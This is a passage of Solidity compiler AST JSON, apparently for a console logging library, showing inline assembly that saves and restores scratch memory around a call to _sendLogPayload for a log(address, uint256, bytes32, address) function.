pe":"YulTypedName","src":"128146:1:22","type":""}],"src":"128120:342:22"},{"nativeSrc":"128475:17:22","nodeType":"YulAssignment","src":"128475:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"128487:4:22","nodeType":"YulLiteral","src":"128487:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"128481:5:22","nodeType":"YulIdentifier","src":"128481:5:22"},"nativeSrc":"128481:11:22","nodeType":"YulFunctionCall","src":"128481:11:22"},"variableNames":[{"name":"m0","nativeSrc":"128475:2:22","nodeType":"YulIdentifier","src":"128475:2:22"}]},{"nativeSrc":"128505:17:22","nodeType":"YulAssignment","src":"128505:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"128517:4:22","nodeType":"YulLiteral","src":"128517:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"128511:5:22","nodeType":"YulIdentifier","src":"128511:5:22"},"nativeSrc":"128511:11:22","nodeType":"YulFunctionCall","src":"128511:11:22"},"variableNames":[{"name":"m1","nativeSrc":"128505:2:22","nodeType":"YulIdentifier","src":"128505:2:22"}]},{"nativeSrc":"128535:17:22","nodeType":"YulAssignment","src":"128535:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"128547:4:22","nodeType":"YulLiteral","src":"128547:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"128541:5:22","nodeType":"YulIdentifier","src":"128541:5:22"},"nativeSrc":"128541:11:22","nodeType":"YulFunctionCall","src":"128541:11:22"},"variableNames":[{"name":"m2","nativeSrc":"128535:2:22","nodeType":"YulIdentifier","src":"128535:2:22"}]},{"nativeSrc":"128565:17:22","nodeType":"YulAssignment","src":"128565:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"128577:4:22","nodeType":"YulLiteral","src":"128577:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"128571:5:22","nodeType":"YulIdentifier","src":"128571:5:22"},"nativeSrc":"128571:11:22","nodeType":"YulFunctionCall","src":"128571:11:22"},"variableNames":[{"name":"m3","nativeSrc":"128565:2:22","nodeType":"YulIdentifier","src":"128565:2:22"}]},{"nativeSrc":"128595:17:22","nodeType":"YulAssignment","src":"128595:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"128607:4:22","nodeType":"YulLiteral","src":"128607:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"128601:5:22","nodeType":"YulIdentifier","src":"128601:5:22"},"nativeSrc":"128601:11:22","nodeType":"YulFunctionCall","src":"128601:11:22"},"variableNames":[{"name":"m4","nativeSrc":"128595:2:22","nodeType":"YulIdentifier","src":"128595:2:22"}]},{"nativeSrc":"128625:17:22","nodeType":"YulAssignment","src":"128625:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"128637:4:22","nodeType":"YulLiteral","src":"128637:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"128631:5:22","nodeType":"YulIdentifier","src":"128631:5:22"},"nativeSrc":"128631:11:22","nodeType":"YulFunctionCall","src":"128631:11:22"},"variableNames":[{"name":"m5","nativeSrc":"128625:2:22","nodeType":"YulIdentifier","src":"128625:2:22"}]},{"nativeSrc":"128655:17:22","nodeType":"YulAssignment","src":"128655:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"128667:4:22","nodeType":"YulLiteral","src":"128667:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"128661:5:22","nodeType":"YulIdentifier","src":"128661:5:22"},"nativeSrc":"128661:11:22","nodeType":"YulFunctionCall","src":"128661:11:22"},"variableNames":[{"name":"m6","nativeSrc":"128655:2:22","nodeType":"YulIdentifier","src":"128655:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"128758:4:22","nodeType":"YulLiteral","src":"128758:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"128764:10:22","nodeType":"YulLiteral","src":"128764:10:22","type":"","value":"0x5c430d47"}],"functionName":{"name":"mstore","nativeSrc":"128751:6:22","nodeType":"YulIdentifier","src":"128751:6:22"},"nativeSrc":"128751:24:22","nodeType":"YulFunctionCall","src":"128751:24:22"},"nativeSrc":"128751:24:22","nodeType":"YulExpressionStatement","src":"128751:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"128795:4:22","nodeType":"YulLiteral","src":"128795:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"128801:2:22","nodeType":"YulIdentifier","src":"128801:2:22"}],"functionName":{"name":"mstore","nativeSrc":"128788:6:22","nodeType":"YulIdentifier","src":"128788:6:22"},"nativeSrc":"128788:16:22","nodeType":"YulFunctionCall","src":"128788:16:22"},"nativeSrc":"128788:16:22","nodeType":"YulExpressionStatement","src":"128788:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"128824:4:22","nodeType":"YulLiteral","src":"128824:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"128830:2:22","nodeType":"YulIdentifier","src":"128830:2:22"}],"functionName":{"name":"mstore","nativeSrc":"128817:6:22","nodeType":"YulIdentifier","src":"128817:6:22"},"nativeSrc":"128817:16:22","nodeType":"YulFunctionCall","src":"128817:16:22"},"nativeSrc":"128817:16:22","nodeType":"YulExpressionStatement","src":"128817:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"128853:4:22","nodeType":"YulLiteral","src":"128853:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"128859:4:22","nodeType":"YulLiteral","src":"128859:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"128846:6:22","nodeType":"YulIdentifier","src":"128846:6:22"},"nativeSrc":"128846:18:22","nodeType":"YulFunctionCall","src":"128846:18:22"},"nativeSrc":"128846:18:22","nodeType":"YulExpressionStatement","src":"128846:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"128884:4:22","nodeType":"YulLiteral","src":"128884:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"128890:2:22","nodeType":"YulIdentifier","src":"128890:2:22"}],"functionName":{"name":"mstore","nativeSrc":"128877:6:22","nodeType":"YulIdentifier","src":"128877:6:22"},"nativeSrc":"128877:16:22","nodeType":"YulFunctionCall","src":"128877:16:22"},"nativeSrc":"128877:16:22","nodeType":"YulExpressionStatement","src":"128877:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"128918:4:22","nodeType":"YulLiteral","src":"128918:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"128924:2:22","nodeType":"YulIdentifier","src":"128924:2:22"}],"functionName":{"name":"writeString","nativeSrc":"128906:11:22","nodeType":"YulIdentifier","src":"128906:11:22"},"nativeSrc":"128906:21:22","nodeType":"YulFunctionCall","src":"128906:21:22"},"nativeSrc":"128906:21:22","nodeType":"YulExpressionStatement","src":"128906:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37968,"isOffset":false,"isSlot":false,"src":"128475:2:22","valueSize":1},{"declaration":37971,"isOffset":false,"isSlot":false,"src":"128505:2:22","valueSize":1},{"declaration":37974,"isOffset":false,"isSlot":false,"src":"128535:2:22","valueSize":1},{"declaration":37977,"isOffset":false,"isSlot":false,"src":"128565:2:22","valueSize":1},{"declaration":37980,"isOffset":false,"isSlot":false,"src":"128595:2:22","valueSize":1},{"declaration":37983,"isOffset":false,"isSlot":false,"src":"128625:2:22","valueSize":1},{"declaration":37986,"isOffset":false,"isSlot":false,"src":"128655:2:22","valueSize":1},{"declaration":37958,"isOffset":false,"isSlot":false,"src":"128801:2:22","valueSize":1},{"declaration":37960,"isOffset":false,"isSlot":false,"src":"128830:2:22","valueSize":1},{"declaration":37962,"isOffset":false,"isSlot":false,"src":"128924:2:22","valueSize":1},{"declaration":37964,"isOffset":false,"isSlot":false,"src":"128890:2:22","valueSize":1}],"id":37988,"nodeType":"InlineAssembly","src":"128097:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37990,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"128962:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":37991,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"128968:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":37989,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"128946:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37992,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"128946:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37993,"nodeType":"ExpressionStatement","src":"128946:27:22"},{"AST":{"nativeSrc":"128992:214:22","nodeType":"YulBlock","src":"128992:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"129013:4:22","nodeType":"YulLiteral","src":"129013:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"129019:2:22","nodeType":"YulIdentifier","src":"129019:2:22"}],"functionName":{"name":"mstore","nativeSrc":"129006:6:22","nodeType":"YulIdentifier","src":"129006:6:22"},"nativeSrc":"129006:16:22","nodeType":"YulFunctionCall","src":"129006:16:22"},"nativeSrc":"129006:16:22","nodeType":"YulExpressionStatement","src":"129006:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"129042:4:22","nodeType":"YulLiteral","src":"129042:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"129048:2:22","nodeType":"YulIdentifier","src":"129048:2:22"}],"functionName":{"name":"mstore","nativeSrc":"129035:6:22","nodeType":"YulIdentifier","src":"129035:6:22"},"nativeSrc":"129035:16:22","nodeType":"YulFunctionCall","src":"129035:16:22"},"nativeSrc":"129035:16:22","nodeType":"YulExpressionStatement","src":"129035:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"129071:4:22","nodeType":"YulLiteral","src":"129071:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"129077:2:22","nodeType":"YulIdentifier","src":"129077:2:22"}],"functionName":{"name":"mstore","nativeSrc":"129064:6:22","nodeType":"YulIdentifier","src":"129064:6:22"},"nativeSrc":"129064:16:22","nodeType":"YulFunctionCall","src":"129064:16:22"},"nativeSrc":"129064:16:22","nodeType":"YulExpressionStatement","src":"129064:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"129100:4:22","nodeType":"YulLiteral","src":"129100:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"129106:2:22","nodeType":"YulIdentifier","src":"129106:2:22"}],"functionName":{"name":"mstore","nativeSrc":"129093:6:22","nodeType":"YulIdentifier","src":"129093:6:22"},"nativeSrc":"129093:16:22","nodeType":"YulFunctionCall","src":"129093:16:22"},"nativeSrc":"129093:16:22","nodeType":"YulExpressionStatement","src":"129093:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"129129:4:22","nodeType":"YulLiteral","src":"129129:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"129135:2:22","nodeType":"YulIdentifier","src":"129135:2:22"}],"functionName":{"name":"mstore","nativeSrc":"129122:6:22","nodeType":"YulIdentifier","src":"129122:6:22"},"nativeSrc":"129122:16:22","nodeType":"YulFunctionCall","src":"129122:16:22"},"nativeSrc":"129122:16:22","nodeType":"YulExpressionStatement","src":"129122:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"129158:4:22","nodeType":"YulLiteral","src":"129158:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"129164:2:22","nodeType":"YulIdentifier","src":"129164:2:22"}],"functionName":{"name":"mstore","nativeSrc":"129151:6:22","nodeType":"YulIdentifier","src":"129151:6:22"},"nativeSrc":"129151:16:22","nodeType":"YulFunctionCall","src":"129151:16:22"},"nativeSrc":"129151:16:22","nodeType":"YulExpressionStatement","src":"129151:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"129187:4:22","nodeType":"YulLiteral","src":"129187:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"129193:2:22","nodeType":"YulIdentifier","src":"129193:2:22"}],"functionName":{"name":"mstore","nativeSrc":"129180:6:22","nodeType":"YulIdentifier","src":"129180:6:22"},"nativeSrc":"129180:16:22","nodeType":"YulFunctionCall","src":"129180:16:22"},"nativeSrc":"129180:16:22","nodeType":"YulExpressionStatement","src":"129180:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37968,"isOffset":false,"isSlot":false,"src":"129019:2:22","valueSize":1},{"declaration":37971,"isOffset":false,"isSlot":false,"src":"129048:2:22","valueSize":1},{"declaration":37974,"isOffset":false,"isSlot":false,"src":"129077:2:22","valueSize":1},{"declaration":37977,"isOffset":false,"isSlot":false,"src":"129106:2:22","valueSize":1},{"declaration":37980,"isOffset":false,"isSlot":false,"src":"129135:2:22","valueSize":1},{"declaration":37983,"isOffset":false,"isSlot":false,"src":"129164:2:22","valueSize":1},{"declaration":37986,"isOffset":false,"isSlot":false,"src":"129193:2:22","valueSize":1}],"id":37994,"nodeType":"InlineAssembly","src":"128983:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"127881:3:22","parameters":{"id":37965,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37958,"mutability":"mutable","name":"p0","nameLocation":"127893:2:22","nodeType":"VariableDeclaration","scope":37996,"src":"127885:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37957,"name":"address","nodeType":"ElementaryTypeName","src":"127885:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37960,"mutability":"mutable","name":"p1","nameLocation":"127905:2:22","nodeType":"VariableDeclaration","scope":37996,"src":"127897:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37959,"name":"uint256","nodeType":"ElementaryTypeName","src":"127897:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37962,"mutability":"mutable","name":"p2","nameLocation":"127917:2:22","nodeType":"VariableDeclaration","scope":37996,"src":"127909:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37961,"name":"bytes32","nodeType":"ElementaryTypeName","src":"127909:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":37964,"mutability":"mutable","name":"p3","nameLocation":"127929:2:22","nodeType":"VariableDeclaration","scope":37996,"src":"127921:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37963,"name":"address","nodeType":"ElementaryTypeName","src":"127921:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"127884:48:22"},"returnParameters":{"id":37966,"nodeType":"ParameterList","parameters":[],"src":"127947:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38036,"nodeType":"FunctionDefinition","src":"129218:1334:22","nodes":[],"body":{"id":38035,"nodeType":"Block","src":"129290:1262:22","nodes":[],"statements":[{"assignments":[38008],"declarations":[{"constant":false,"id":38008,"mutability":"mutable","name":"m0","nameLocation":"129308:2:22","nodeType":"VariableDeclaration","scope":38035,"src":"129300:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38007,"name":"bytes32","nodeType":"ElementaryTypeName","src":"129300:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38009,"nodeType":"VariableDeclarationStatement","src":"129300:10:22"},{"assignments":[38011],"declarations":[{"constant":false,"id":38011,"mutability":"mutable","name":"m1","nameLocation":"129328:2:22","nodeType":"VariableDeclaration","scope":38035,"src":"129320:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38010,"name":"bytes32","nodeType":"ElementaryTypeName","src":"129320:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38012,"nodeType":"VariableDeclarationStatement","src":"129320:10:22"},{"assignments":[38014],"declarations":[{"constant":false,"id":38014,"mutability":"mutable","name":"m2","nameLocation":"129348:2:22","nodeType":"VariableDeclaration","scope":38035,"src":"129340:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38013,"name":"bytes32","nodeType":"ElementaryTypeName","src":"129340:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38015,"nodeType":"VariableDeclarationStatement","src":"129340:10:22"},{"assignments":[38017],"declarations":[{"constant":false,"id":38017,"mutability":"mutable","name":"m3","nameLocation":"129368:2:22","nodeType":"VariableDeclaration","scope":38035,"src":"129360:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38016,"name":"bytes32","nodeType":"ElementaryTypeName","src":"129360:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38018,"nodeType":"VariableDeclarationStatement","src":"129360:10:22"},{"assignments":[38020],"declarations":[{"constant":false,"id":38020,"mutability":"mutable","name":"m4","nameLocation":"129388:2:22","nodeType":"VariableDeclaration","scope":38035,"src":"129380:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38019,"name":"bytes32","nodeType":"ElementaryTypeName","src":"129380:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38021,"nodeType":"VariableDeclarationStatement","src":"129380:10:22"},{"assignments":[38023],"declarations":[{"constant":false,"id":38023,"mutability":"mutable","name":"m5","nameLocation":"129408:2:22","nodeType":"VariableDeclaration","scope":38035,"src":"129400:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38022,"name":"bytes32","nodeType":"ElementaryTypeName","src":"129400:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38024,"nodeType":"VariableDeclarationStatement","src":"129400:10:22"},{"assignments":[38026],"declarations":[{"constant":false,"id":38026,"mutability":"mutable","name":"m6","nameLocation":"129428:2:22","nodeType":"VariableDeclaration","scope":38035,"src":"129420:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38025,"name":"bytes32","nodeType":"ElementaryTypeName","src":"129420:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38027,"nodeType":"VariableDeclarationStatement","src":"129420:10:22"},{"AST":{"nativeSrc":"129449:828:22","nodeType":"YulBlock","src":"129449:828:22","statements":[{"body":{"nativeSrc":"129492:313:22","nodeType":"YulBlock","src":"129492:313:22","statements":[{"nativeSrc":"129510:15:22","nodeType":"YulVariableDeclaration","src":"129510:15:22","value":{"kind":"number","nativeSrc":"129524:1:22","nodeType":"YulLiteral","src":"129524:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"129514:6:22","nodeType":"YulTypedName","src":"129514:6:22","type":""}]},{"body":{"nativeSrc":"129595:40:22","nodeType":"YulBlock","src":"129595:40:22","statements":[{"body":{"nativeSrc":"129624:9:22","nodeType":"YulBlock","src":"129624:9:22","statements":[{"nativeSrc":"129626:5:22","nodeType":"YulBreak","src":"129626:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"129612:6:22","nodeType":"YulIdentifier","src":"129612:6:22"},{"name":"w","nativeSrc":"129620:1:22","nodeType":"YulIdentifier","src":"129620:1:22"}],"functionName":{"name":"byte","nativeSrc":"129607:4:22","nodeType":"YulIdentifier","src":"129607:4:22"},"nativeSrc":"129607:15:22","nodeType":"YulFunctionCall","src":"129607:15:22"}],"functionName":{"name":"iszero","nativeSrc":"129600:6:22","nodeType":"YulIdentifier","src":"129600:6:22"},"nativeSrc":"129600:23:22","nodeType":"YulFunctionCall","src":"129600:23:22"},"nativeSrc":"129597:36:22","nodeType":"YulIf","src":"129597:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"129552:6:22","nodeType":"YulIdentifier","src":"129552:6:22"},{"kind":"number","nativeSrc":"129560:4:22","nodeType":"YulLiteral","src":"129560:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"129549:2:22","nodeType":"YulIdentifier","src":"129549:2:22"},"nativeSrc":"129549:16:22","nodeType":"YulFunctionCall","src":"129549:16:22"},"nativeSrc":"129542:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"129566:28:22","nodeType":"YulBlock","src":"129566:28:22","statements":[{"nativeSrc":"129568:24:22","nodeType":"YulAssignment","src":"129568:24:22","value":{"arguments":[{"name":"length","nativeSrc":"129582:6:22","nodeType":"YulIdentifier","src":"129582:6:22"},{"kind":"number","nativeSrc":"129590:1:22","nodeType":"YulLiteral","src":"129590:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"129578:3:22","nodeType":"YulIdentifier","src":"129578:3:22"},"nativeSrc":"129578:14:22","nodeType":"YulFunctionCall","src":"129578:14:22"},"variableNames":[{"name":"length","nativeSrc":"129568:6:22","nodeType":"YulIdentifier","src":"129568:6:22"}]}]},"pre":{"nativeSrc":"129546:2:22","nodeType":"YulBlock","src":"129546:2:22","statements":[]},"src":"129542:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"129659:3:22","nodeType":"YulIdentifier","src":"129659:3:22"},{"name":"length","nativeSrc":"129664:6:22","nodeType":"YulIdentifier","src":"129664:6:22"}],"functionName":{"name":"mstore","nativeSrc":"129652:6:22","nodeType":"YulIdentifier","src":"129652:6:22"},"nativeSrc":"129652:19:22","nodeType":"YulFunctionCall","src":"129652:19:22"},"nativeSrc":"129652:19:22","nodeType":"YulExpressionStatement","src":"129652:19:22"},{"nativeSrc":"129688:37:22","nodeType":"YulVariableDeclaration","src":"129688:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"129705:3:22","nodeType":"YulLiteral","src":"129705:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"129714:1:22","nodeType":"YulLiteral","src":"129714:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"129717:6:22","nodeType":"YulIdentifier","src":"129717:6:22"}],"functionName":{"name":"shl","nativeSrc":"129710:3:22","nodeType":"YulIdentifier","src":"129710:3:22"},"nativeSrc":"129710:14:22","nodeType":"YulFunctionCall","src":"129710:14:22"}],"functionName":{"name":"sub","nativeSrc":"129701:3:22","nodeType":"YulIdentifier","src":"129701:3:22"},"nativeSrc":"129701:24:22","nodeType":"YulFunctionCall","src":"129701:24:22"},"variables":[{"name":"shift","nativeSrc":"129692:5:22","nodeType":"YulTypedName","src":"129692:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"129753:3:22","nodeType":"YulIdentifier","src":"129753:3:22"},{"kind":"number","nativeSrc":"129758:4:22","nodeType":"YulLiteral","src":"129758:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"129749:3:22","nodeType":"YulIdentifier","src":"129749:3:22"},"nativeSrc":"129749:14:22","nodeType":"YulFunctionCall","src":"129749:14:22"},{"arguments":[{"name":"shift","nativeSrc":"129769:5:22","nodeType":"YulIdentifier","src":"129769:5:22"},{"arguments":[{"name":"shift","nativeSrc":"129780:5:22","nodeType":"YulIdentifier","src":"129780:5:22"},{"name":"w","nativeSrc":"129787:1:22","nodeType":"YulIdentifier","src":"129787:1:22"}],"functionName":{"name":"shr","nativeSrc":"129776:3:22","nodeType":"YulIdentifier","src":"129776:3:22"},"nativeSrc":"129776:13:22","nodeType":"YulFunctionCall","src":"129776:13:22"}],"functionName":{"name":"shl","nativeSrc":"129765:3:22","nodeType":"YulIdentifier","src":"129765:3:22"},"nativeSrc":"129765:25:22","nodeType":"YulFunctionCall","src":"129765:25:22"}],"functionName":{"name":"mstore","nativeSrc":"129742:6:22","nodeType":"YulIdentifier","src":"129742:6:22"},"nativeSrc":"129742:49:22","nodeType":"YulFunctionCall","src":"129742:49:22"},"nativeSrc":"129742:49:22","nodeType":"YulExpressionStatement","src":"129742:49:22"}]},"name":"writeString","nativeSrc":"129463:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"129484:3:22","nodeType":"YulTypedName","src":"129484:3:22","type":""},{"name":"w","nativeSrc":"129489:1:22","nodeType":"YulTypedName","src":"129489:1:22","type":""}],"src":"129463:342:22"},{"nativeSrc":"129818:17:22","nodeType":"YulAssignment","src":"129818:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"129830:4:22","nodeType":"YulLiteral","src":"129830:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"129824:5:22","nodeType":"YulIdentifier","src":"129824:5:22"},"nativeSrc":"129824:11:22","nodeType":"YulFunctionCall","src":"129824:11:22"},"variableNames":[{"name":"m0","nativeSrc":"129818:2:22","nodeType":"YulIdentifier","src":"129818:2:22"}]},{"nativeSrc":"129848:17:22","nodeType":"YulAssignment","src":"129848:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"129860:4:22","nodeType":"YulLiteral","src":"129860:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"129854:5:22","nodeType":"YulIdentifier","src":"129854:5:22"},"nativeSrc":"129854:11:22","nodeType":"YulFunctionCall","src":"129854:11:22"},"variableNames":[{"name":"m1","nativeSrc":"129848:2:22","nodeType":"YulIdentifier","src":"129848:2:22"}]},{"nativeSrc":"129878:17:22","nodeType":"YulAssignment","src":"129878:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"129890:4:22","nodeType":"YulLiteral","src":"129890:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"129884:5:22","nodeType":"YulIdentifier","src":"129884:5:22"},"nativeSrc":"129884:11:22","nodeType":"YulFunctionCall","src":"129884:11:22"},"variableNames":[{"name":"m2","nativeSrc":"129878:2:22","nodeType":"YulIdentifier","src":"129878:2:22"}]},{"nativeSrc":"129908:17:22","nodeType":"YulAssignment","src":"129908:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"129920:4:22","nodeType":"YulLiteral","src":"129920:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"129914:5:22","nodeType":"YulIdentifier","src":"129914:5:22"},"nativeSrc":"129914:11:22","nodeType":"YulFunctionCall","src":"129914:11:22"},"variableNames":[{"name":"m3","nativeSrc":"129908:2:22","nodeType":"YulIdentifier","src":"129908:2:22"}]},{"nativeSrc":"129938:17:22","nodeType":"YulAssignment","src":"129938:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"129950:4:22","nodeType":"YulLiteral","src":"129950:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"129944:5:22","nodeType":"YulIdentifier","src":"129944:5:22"},"nativeSrc":"129944:11:22","nodeType":"YulFunctionCall","src":"129944:11:22"},"variableNames":[{"name":"m4","nativeSrc":"129938:2:22","nodeType":"YulIdentifier","src":"129938:2:22"}]},{"nativeSrc":"129968:17:22","nodeType":"YulAssignment","src":"129968:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"129980:4:22","nodeType":"YulLiteral","src":"129980:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"129974:5:22","nodeType":"YulIdentifier","src":"129974:5:22"},"nativeSrc":"129974:11:22","nodeType":"YulFunctionCall","src":"129974:11:22"},"variableNames":[{"name":"m5","nativeSrc":"129968:2:22","nodeType":"YulIdentifier","src":"129968:2:22"}]},{"nativeSrc":"129998:17:22","nodeType":"YulAssignment","src":"129998:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"130010:4:22","nodeType":"YulLiteral","src":"130010:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"130004:5:22","nodeType":"YulIdentifier","src":"130004:5:22"},"nativeSrc":"130004:11:22","nodeType":"YulFunctionCall","src":"130004:11:22"},"variableNames":[{"name":"m6","nativeSrc":"129998:2:22","nodeType":"YulIdentifier","src":"129998:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"130098:4:22","nodeType":"YulLiteral","src":"130098:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"130104:10:22","nodeType":"YulLiteral","src":"130104:10:22","type":"","value":"0xcf18105c"}],"functionName":{"name":"mstore","nativeSrc":"130091:6:22","nodeType":"YulIdentifier","src":"130091:6:22"},"nativeSrc":"130091:24:22","nodeType":"YulFunctionCall","src":"130091:24:22"},"nativeSrc":"130091:24:22","nodeType":"YulExpressionStatement","src":"130091:24:22"},{"expression":{"arguments":[{"kind":"number","nativ